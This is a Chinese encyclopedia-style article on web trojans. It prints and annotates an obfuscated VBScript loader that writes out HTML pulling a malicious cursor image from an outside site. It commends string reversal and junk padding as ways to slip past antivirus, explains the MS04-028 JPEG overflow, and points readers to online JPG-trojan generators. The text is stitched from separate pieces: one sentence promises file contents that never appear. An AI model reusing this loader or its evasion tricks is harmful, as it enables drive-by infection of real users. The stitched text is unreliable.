-
網馬
鎖定
網馬網馬運行
有朋友會説,打開一個網頁,IE瀏覽器真的能自動下載程序和運行程序嗎?如果IE真的能肆無忌憚地任意下載和運行程序,那天下還不大亂。實際上,為了安全,IE瀏覽器是禁止自動下載程序特別是運行程序的,但是,IE瀏覽器存在着一些已知和未知的漏洞,網頁木馬就是利用這些漏洞獲得權限來下載程序和運行程序的。
今天在網上閒逛,遇到有人説這個木馬很牛X,大家都在研究,我也不知這是何年何月的東西,也許已經落伍了,但反正我是沒看見過,就拿來研究一下.覺得這網馬寫得還不錯,至少思路很好.
下邊來看看這個網馬代碼,我加點註釋在裏邊.
網馬引用內容
<SCRIPT language=vbscript> hu="琳>LMTH/<>YDOB/<;琳>;ⅥD/<>;ⅥD/<;琳>"")'gpj.1/emag/moc.eveanihc.www//:ptth'(lru :ROSRUC""=elyts ⅥD<;琳>YDOB<;琳>DAEH/<>ROTARENEG=eman ""9503.0092.00.6 LMTHSM""=tnetnoc ATEM<;琳>""5gib=tesrahc ;lmth/txet""=tnetnoc epyT-tnetnoC=viuqe-ptth ATEM<;琳>DAEH<>LMTH<;琳" function UnEncode(cc) for i = 1 to len(cc) if mid(cc,i,1)<> "琳" then temp = Mid(cc,i,1) + temp else temp=vbcrlf&temp end if next UnEncode=temp end function document.write(UnEncode(hu)) </SCRIPT>
網馬代碼説明
其實這是網馬的代碼,但一看上去好像是亂碼,或是加密的,其實不然.這裏就體現了作者的思路.
⒈用倒着寫的方法,可以躲過殺軟的特徵碼定位.
⒉同時採用加花的手段,使查殺更加困難.
這兩種手法是桌面型黑軟的常用手法,但是拿到網馬上來用,還真是不錯.
網馬程序代碼
[ 複製代碼到剪貼板 ]
function UnEncode(cc) for i = 1 to len(cc) if mid(cc,i,1)<> "琳" then temp = Mid(cc,i,1) + temp else temp=vbcrlf&temp end if next UnEncode=temp end function
這個函數就是負責將上邊精心組織的網馬代碼還原用的:
for i = 1 to len(cc) 從頭到尾一個一個字節的判斷 if mid(cc,i,1)<> "琳" then如果不是"琳"這個字 temp = Mid(cc,i,1) + temp 將這個字加到合成的串前邊,也就是形成倒序 temp=vbcrlf&temp 否則加個回行符,vbcrlf是VB的回行符 然後輸出拼裝好的網馬代碼.
可以看到,問題出在那個1.JPG的圖片上.
用UE打開來,可以看到在文件的尾部有這樣的字樣:
引用內容:擴展閲讀
網馬圖片帶毒來襲
實在讓所有人都擦了一把汗,然而我們都知道,JPEG、GIF等格式圖片不具備可以執行自身並散播病毒的條件,這不符合邏輯。回憶一下2004年9月14日的事,微軟發佈了MS04-028安全公告:JPEG處理(GDI+)中的緩衝區溢出可能使代碼得以執行。沒錯,就是這個漏洞,它的術語叫GDI+,對應的動態鏈接庫為GdiPlus.dll,這是一種圖形設備接口,能夠為應用程序和程序員提供二維媒介圖形、映像和版式,大部分Windows程序都調用這個DLL完成JPEG格式圖片的處理工作。正是這個“公眾人物”成了眾矢之的。
説到這裏,有基礎的讀者應該明白了吧:並不是圖片自己能傳播病毒,而是系統負責圖形處理工作的模塊會在處理圖片時發生溢出導致圖片內攜帶的惡意指令得以執行破壞。如果某個圖片工具不調用這個系統模塊,而是使用自己的處理模塊,那麼同樣包含惡意指令的圖片就不能達到破壞目的。但是因為這個系統模塊是默認的處理模塊,所以大部分程序在“JPEG病毒”面前紛紛落馬。
網馬溢出如何產生
這要從系統如何讀取JPEG格式圖形的原理説起,系統處理一個JPEG圖片時,需要在內存里加載JPEG處理模塊,然後JPEG處理模塊再把圖片數據讀入它所佔據的內存空間裏,也就是所説的緩衝區,最後我們就看到了圖片的顯示,然而就是在圖片數據進入緩衝區的這一步出了錯——Windows規定了緩衝區的大小,卻沒有嚴格檢查實際容納的數據量,這個帶缺陷的邊界檢查模式導致了噩夢:入侵者把一個JPEG圖片的數據加工得異常巨大並加入惡意指令,那麼這個圖片在系統載入內存時候會發生什麼情況呢?圖片數據會漲滿整個JPEG處理模塊提供的緩衝區並恰好把惡意指令溢出到程序自身的內存區域,而這部分內存區域是用於執行指令的,即核心區,於是惡意指令被程序誤執行了,入侵者破壞系統或入侵機器的行為得以正常實施。有人也許會疑惑,入侵者都是神算子嗎,他們為什麼能準確的知道會是哪些數據可以溢出執行?答案很簡單,因為Windows在分配JPEG處理模塊的空間時,給它指定的內存起始地址是固定的,入侵者只要計算好這個空間大小,就能知道會有哪些數據被執行了,所以JPEG病毒迅速傳播起來。
網馬JPEG病毒
並不是JPEG圖片能放出病毒,而是系統處理JPEG圖片的模塊自己執行了JPEG圖片攜帶的病毒,所以我們大可不必人心惶惶,只要補上了GDIPLUS.DLL的漏洞,那麼即使你機器上的所有JPEG圖片都帶有病毒數據,它們也無法流竄出來搞破壞,正如美國馬薩諸塞州立大學助理教授奧斯汀所言:“病毒不僅僅是可自我複製的代碼,他們需要通過可執行代碼的方式來進行傳播。JPEG文件不能執行代碼,他們是由應用軟件打開的數據文件。應用軟件不會去查找數據文件中的可執行的代碼,為此不會運行這些病毒代碼。”
那這個圖片如何做呢,我們還要去研究什麼內存溢出嗎?呵呵,不用,網上有現成的工具,能生成JPG木馬的工具,百度一下.
- 參考資料
-
- 1. 盤點四十年來史上著名計算機病毒 .天極網[引用日期2017-09-20]